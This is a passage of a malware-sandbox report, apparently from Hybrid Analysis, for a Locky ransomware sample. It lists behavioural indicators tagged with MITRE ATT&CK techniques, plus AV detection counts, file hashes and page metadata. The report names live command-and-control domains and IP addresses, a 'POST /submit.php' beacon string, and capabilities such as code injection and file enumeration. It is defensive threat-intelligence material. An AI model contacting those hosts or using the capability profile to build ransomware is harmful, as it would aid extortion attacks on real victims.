Characteristics","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"locky.exe\")","id":"string-354","level":"informative","mitre_attack_id":"T1082","name":"Contains reference to mutex-related activity (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"locky.exe\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","id":"static-154","level":"informative","name":"File contains dynamic base/NX flags","origin":"Static Parser","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"locky.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","id":"static-153","level":"informative","name":"Uses 32 bit executable PE","origin":"Static Parser","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"$3c","id":"string-474","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to access device drivers","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"locky.exe\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"locky.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"locky.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"locky.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00008908.00000001.334926.02190000.00000040.mdmp\")","id":"string-310","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to load modules (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"dhikrswxxqvg.xyz\"\n \"dkpxducupm.pl\"\n \"hdedxwro.work\"\n \"ojyrskjou.su\"\n \"qqitfhiwmqd.work\"\n \"tqhgdeagbjhmbpej.pw\"\n \"vljmcamdvvejilwa.pw\"\n \"xxnhereij.work\"","id":"network-0","level":"informative","name":"Contacts domains","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"External Systems","description":"67/72 Antivirus vendors marked sample as malicious (93% detection rate)","id":"avtest-3","level":"malicious","name":"Sample was identified as malicious by a large number of Antivirus engines","origin":"External System","relevance":10,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"locky.exe\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-80","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to determine disk drive type (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Remote Access Related","description":"Found string \"ncacn_np\" (Indicator: \"ncacn_np\"; Source: \"00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp\")","id":"string-531","level":"informative","mitre_attack_id":"T1090","name":"Contains references to RPC protocol sequence strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Destruction","description":"$3d","id":"api-26","level":"suspicious","name":"Marks file for deletion","origin":"API Call","relevance":10,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"General","description":"\"Module32NextW\" (Indicator: \"Module32NextW\")\n \"GetFileSizeEx\" (Indicator: \"GetFileSize\")\n \"OpenProcess\" (Indicator: \"OpenProcess\")\n \"CreateDirectoryW\" (Indicator: \"CreateDirectoryW\")\n \"Module32FirstW\" (Indicator: \"Module32FirstW\")\n \"FreeLibrary\" (Indicator: \"FreeLibrary\")\n \"GetLocalTime\" (Indicator: \"GetLocalTime\")\n \"ExitThread\" (Indicator: \"ExitThread\")\n \"GetFileSize\" (Indicator: \"GetFileSize\")\n \"TlsSetValue\" (Indicator: \"TlsSetValue\")\n \"FreeEnvironmentStringsW\" (Indicator: \"FreeEnvironmentStringsW\")\n \"CompareStringW\" (Indicator: \"CompareStringW\")\n \"CreateToolhelp32Snapshot\" (Indicator: \"CreateToolhelp32Snapshot\")\n \"lstrcmpiW\" (Indicator: \"lstrcmpiW\")\n \"IsValidLocale\" (Indicator: \"IsValidLocale\")\n \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\")\n \"GetStringTypeA\" (Indicator: \"GetStringTypeA\")\n \"HeapAlloc\" (Indicator: \"HeapAlloc\")\n \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\")\n \"CreateFileMappingW\" (Indicator: \"CreateFileMappingW\")","id":"string-101","level":"informative","name":"Found API related strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"External Systems","description":"No specific details available","id":"avtest-5","level":"malicious","name":"Sample was identified as malicious by a trusted Antivirus engine","origin":"External System","relevance":10,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Network Related","description":"Found string \"POST /submit.php HTTP/1.1rf\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp\")\n Found string \"Content-Length100POST /submit.php HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp\")\n Found string \"bmit.php HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp\")\n Found string \"HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found string \"POST /submit.php HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00008908.00000002.336847.007B0000.00000004.mdmp\")","id":"string-457","level":"informative","mitre_attack_id":"T1071.001","name":"Found string related to HTTP headers","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"\"locky.exe\" has section name .text with entropy \"6.99035697568\"\n \"locky.exe\" has section name .rdata with entropy \"6.59343698418\"\n \"locky.exe\" has section name .data with entropy \"6.97218572734\"","id":"static-6","level":"suspicious","mitre_attack_id":"T1027.009","name":"Section contains high entropy","origin":"Static Parser","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"CreateProcessAsUserW\" (Indicator: \"CreateProcessAsUser\"; File: \"locky.exe\")","id":"string-168","level":"informative","mitre_attack_id":"T1134.002","name":"Contains ability to create process with token (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"locky.exe\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"locky.exe\")\n Found reference to API \"GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; File: \"locky.exe\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-164","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve the fully qualified path of module (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-453","level":"informative","mitre_attack_id":"T1071.001","name":"Contains ability to set options for internet handles (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"WinHttpSetOption\" (Indicator: \"WinHttpSetOption\"; File: \"locky.exe\")\n Found reference to API \"WinHttpConnect\" (Indicator: \"WinHttpConnect\"; File: \"locky.exe\")\n Found reference to API \"WinHttpQueryHeaders\" (Indicator: \"WinHttpQueryHeaders\"; File: \"locky.exe\")\n Found reference to API \"WinHttpReadData\" (Indicator: \"WinHttpReadData\"; File: \"locky.exe\")\n Found reference to API \"WinHttpCloseHandle\" (Indicator: \"WinHttpCloseHandle\"; File: \"locky.exe\")\n Found reference to API \"WinHttpReceiveResponse\" (Indicator: \"WinHttpReceiveResponse\"; File: \"locky.exe\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; File: \"locky.exe\")\n Found reference to API \"WinHttpOpenRequest\" (Indicator: \"WinHttpOpen\"; File: \"locky.exe\")\n Found reference to API \"WinHttpOpenRequest\" (Indicator: \"WinHttpOpenRequest\"; File: \"locky.exe\")\n Found reference to API \"WinHttpSendRequest\" (Indicator: \"WinHttpSendRequest\"; File: \"locky.exe\")","id":"string-323","level":"informative","mitre_attack_id":"T1071.001","name":"Contains reference to Windows HTTP services (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"locky.exe\" called \"GetVersionExA\" with parameter 9c0000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008908)","id":"api-222","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve OS information","origin":"API Call","relevance":2,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Installation/Persistance","description":"\"\" created file \"C:\\Windows\\\"\n \"\" created file \"C:\\Windows\\system32\\rsaenh.dll\"\n \"\" created file \"C:\\Windows\\Globalization\\Sorting\\sortdefault.nls\"\n \"\" created file \"%APPDATA%\\Microsoft\\Windows\\Cookies\"\n \"\" created file \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\"\n \"\" created file \"C:\\Users\\PSPUBWS\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat\"","id":"api-55","level":"suspicious","name":"Creates/touches files in windows directory","origin":"API Call","relevance":7,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetModuleHandleA@KERNEL32.dll at 20205-1-004074E6","id":"stream-121","level":"suspicious","mitre_attack_id":"T1082","name":"Contains ability to retrieve a module handle","origin":"Hybrid Analysis Technology","relevance":5,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Observed api string:\"WTSEnumerateSessionsW\" [Source: 49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.bin]","id":"string-117","level":"informative","mitre_attack_id":"T1049","name":"Contains ability to retrieve a list of sessions on a remote server (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"locky.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00008908)","id":"api-149","level":"informative","mitre_attack_id":"T1614.001","name":"Calls an API typically used to retrieve default language settings","origin":"API Call","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"locky.exe\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; File: \"locky.exe\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-83","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to enumerate files on disk (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"\"\" wrote 67 bytes to file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\HT36OBW1\\desktop.ini\": [.ShellClassInfo]\nUICLSID={7BD29E00-76C1-11CF-9DD0-00A0C9034933}\n\n \"\" wrote 67 bytes to file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\P4SNA2DT\\desktop.ini\": [.ShellClassInfo]\nUICLSID={7BD29E00-76C1-11CF-9DD0-00A0C9034933}\n\n \"\" wrote 67 bytes to file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\XNB9XZ8V\\desktop.ini\": [.ShellClassInfo]\nUICLSID={7BD29E00-76C1-11CF-9DD0-00A0C9034933}\n\n \"\" wrote 67 bytes to file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\F4S9OCSA\\desktop.ini\": [.ShellClassInfo]\nUICLSID={7BD29E00-76C1-11CF-9DD0-00A0C9034933}","id":"api-34","level":"malicious","name":"Writes to a desktop.ini file (often used to cloak folders)","origin":"API Call","relevance":3,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"locky.exe\" reads file \"\\device\\namedpipe\\lsass\"","id":"api-243","level":"informative","mitre_attack_id":"T1083","name":"Reads files","origin":"API Call","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"category":"Network Related","description":"\"82.146.37.200\"","id":"string-14","level":"suspicious","name":"Found potential IP address in binary/memory","origin":"File/Memory","relevance":3,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Remote Access Related","description":"Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"locky.exe\")","id":"string-436","level":"informative","mitre_attack_id":"T1021.001","name":"Contains ability to perform remote desktop activity (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-409","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to set file time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"\"InternetReadFile@WININET.DLL\" in \".exe\"\n \"URLDownloadToFileW@URLMON.DLL\" in \".exe\"\n \"HttpOpenRequestW@WININET.DLL\" in \".exe\"\n \"Wow64Transition@NTDLL.DLL\" in \".exe\"\n \"HttpOpenRequestA@WININET.DLL\" in \".exe\"\n \"URLDownloadToFileA@URLMON.DLL\" in \".exe\"\n \"InternetOpenW@WININET.DLL\" in \".exe\"\n \"InternetOpenA@WININET.DLL\" in \".exe\"","id":"hooks-0","level":"suspicious","mitre_attack_id":"T1056.004","name":"Hooks API calls","origin":"Hook Detection","relevance":10,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; File: \"locky.exe\")\n Found reference to API \"EnumWindows\" (Indicator: \"EnumWindows\"; File: \"locky.exe\")\n Found reference to API \"GetWindowTextW\" (Indicator: \"GetWindowText\"; File: \"locky.exe\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-141","level":"informative","mitre_attack_id":"T1010","name":"Contains ability to retrieve open application windows (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Network Related","description":"TCP traffic to 104.43.139.144 on port 443 is sent without HTTP header\n TCP traffic to 93.170.131.108 on port 80 is sent without HTTP header\n TCP traffic to 51.254.240.45 on port 80 is sent without HTTP header\n TCP traffic to 5.135.76.18 on port 80 is sent without HTTP header\n TCP traffic to 82.146.37.200 on port 80 is sent without HTTP header\n TCP traffic to 31.41.44.130 on port 80 is sent without HTTP header","id":"network-23","level":"suspicious","mitre_attack_id":"T1043","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Observed import api PathFindFileName (Source: locky.exe)","id":"static-183","level":"informative","mitre_attack_id":"T1083","name":"Calls APIs used for find file/directory path","origin":"Static Parser","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"Connection was make using TLSv1.2 [tls.handshake.version: 0x00000303]","id":"network-54","level":"informative","mitre_attack_id":"T1573","name":"Making HTTPS connections using secure TLS/SSL version","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"locky.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","id":"api-103","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used for taking snapshot of the specified processes","origin":"API Call","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"locky.exe\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"locky.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"locky.exe\")\n Found reference to API \"WTSFreeMemory\" (Indicator: \"FreeMemory\"; File: \"locky.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp, 00000000-00008908.00000001.334926.02190000.00000040.mdmp\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp, 00000000-00008908.00000001.334926.02190000.00000040.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"DsRoleFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-92","level":"informative","mitre_attack_id":"T1055","name":"Contains ability to inject code into another process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$3e","id":"registry-172","level":"informative","mitre_attack_id":"T1012","name":"Queries registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]}],"stats":{"attributions":{"campaigns_count":0,"cves_count":0,"malware_families_count":1,"threat_actors_count":0,"threat_types_count":0},"av":{"malicious_count":21,"suspicious_count":0,"total_engines":26},"mitre_attacks":{"total":78},"rule_matches":{"sigma_count":0,"suricata_count":0,"yara_count":0},"sandbox_signatures":{"informative_count":182,"malicious_count":13,"suspicious_count":34,"total":229}},"summary":{"score":100,"tags":["ransomware","locky","malicious","WastedLocker"],"verdict":"malicious"}},"metadata":{"file_info":{"file_name":"locky.exe","file_size":162816,"file_type":["peexe","executable"],"file_type_id":"exe"},"hashes":{"imphash":"14f0cd9612d8e8836a786e6c13265809","md5":"b66eb4bcb2860ef48afbc1378e1ae545","sha1":"a2fcbf6e175afcee58344e6ee0f551fc2fff8d27","sha256":"49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc","sha512":"49c07ccc11d71c8fcb83cc9462ce1ba961ff0b22906deb558c9cd4628bd9e458f534b252e066e0ac6d0f220908cf5d046c923db33b10bf7027f52eda809c1a4d","ssdeep":"3072:j9UJ3gySjKLkEfwoZaNEP3N2QdW4BVa7NnnFRdqDGowa9:j61NSjVmaN63NiL4Di","ssdeep_chunks":["3072:j9UJ3gy","3072:9UJ3gyS","3072:UJ3gySj","3072:J3gySjK","3072:3gySjKL","3072:gySjKLk","3072:ySjKLkE","3072:SjKLkEf","3072:jKLkEfw","3072:KLkEfwo","3072:LkEfwoZ","3072:kEfwoZa","3072:EfwoZaN","3072:fwoZaNE","3072:woZaNEP","3072:oZaNEP3","3072:ZaNEP3N","3072:aNEP3N2","3072:NEP3N2Q","3072:EP3N2Qd","3072:P3N2QdW","3072:3N2QdW4","3072:N2QdW4B","3072:2QdW4BV","3072:QdW4BVa","3072:dW4BVa7","3072:W4BVa7N","3072:4BVa7Nn","3072:BVa7Nnn","3072:Va7NnnF","3072:a7NnnFR","3072:7NnnFRd","3072:NnnFRdq","3072:nnFRdqD","3072:nFRdqDG","3072:FRdqDGo","3072:RdqDGow","3072:dqDGowa","3072:qDGowa9","6144:j9UJ3gy","6144:9UJ3gyS","6144:UJ3gySj","6144:J3gySjK","6144:3gySjKL","6144:gySjKLk","6144:ySjKLkE","6144:SjKLkEf","6144:jKLkEfw","6144:KLkEfwo","6144:LkEfwoZ","6144:kEfwoZa","6144:EfwoZaN","6144:fwoZaNE","6144:woZaNEP","6144:oZaNEP3","6144:ZaNEP3N","6144:aNEP3N2","6144:NEP3N2Q","6144:EP3N2Qd","6144:P3N2QdW","6144:3N2QdW4","6144:N2QdW4B","6144:2QdW4BV","6144:QdW4BVa","6144:dW4BVa7","6144:W4BVa7N","6144:4BVa7Nn","6144:BVa7Nnn","6144:Va7NnnF","6144:a7NnnFR","6144:7NnnFRd","6144:NnnFRdq","6144:nnFRdqD","6144:nFRdqDG","6144:FRdqDGo","6144:RdqDGow","6144:dqDGowa","6144:qDGowa9","3072:j61NSjV","3072:61NSjVm","3072:1NSjVma","3072:NSjVmaN","3072:SjVmaN6","3072:jVmaN63","3072:VmaN63N","3072:maN63Ni","3072:aN63NiL","3072:N63NiL4","3072:63NiL4D","3072:3NiL4Di"]},"submissions":{"first_seen":1499294063000,"last_multi_scan":1775143976000,"last_seen":1775143976000}},"overall_status":"SUCCESS","report_ids":{"sandbox_job_ids":["5748a0e3aac2ed6f5b5ac99a","67b13541f76571b71e0619c2","66f2771f14e17b26d1025a94","63b48cabcc95c60864338954","5f8dd1107f50f85b2109e2f6"]},"schema_version":"1.0.9","sha256":"49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc","threat_score":100,"unified_at":"2026-09-24T02:11:42.666Z","unified_at_epoch_ms":1790215902666,"verdict":"malicious"}}]]}] 1d:null 21:[["$","title","0",{"children":"Malicious Ransom.Locky.Generic Sample 49a48d4ff1b7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 49a48d4ff1b7…. Malware family: Ransom.Locky.Generic. Threat score 100/100. 21/26 AV engines flagged this file. 13 malicious and 34 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc"}],["$","meta","4",{"property":"og:title","content":"Malicious Ransom.Locky.Generic Sample 49a48d4ff1b7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 49a48d4ff1b7…. Malware family: Ransom.Locky.Generic. Threat score 100/100. 21/26 AV engines flagged this file. 13 malicious and 34 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Ransom.Locky.Generic Sample 49a48d4ff1b7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 49a48d4ff1b7…. Malware family: Ransom.Locky.Generic. Threat score 100/100. 21/26 AV engines flagged this file. 13 malicious and 34 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L3f","11",{}]]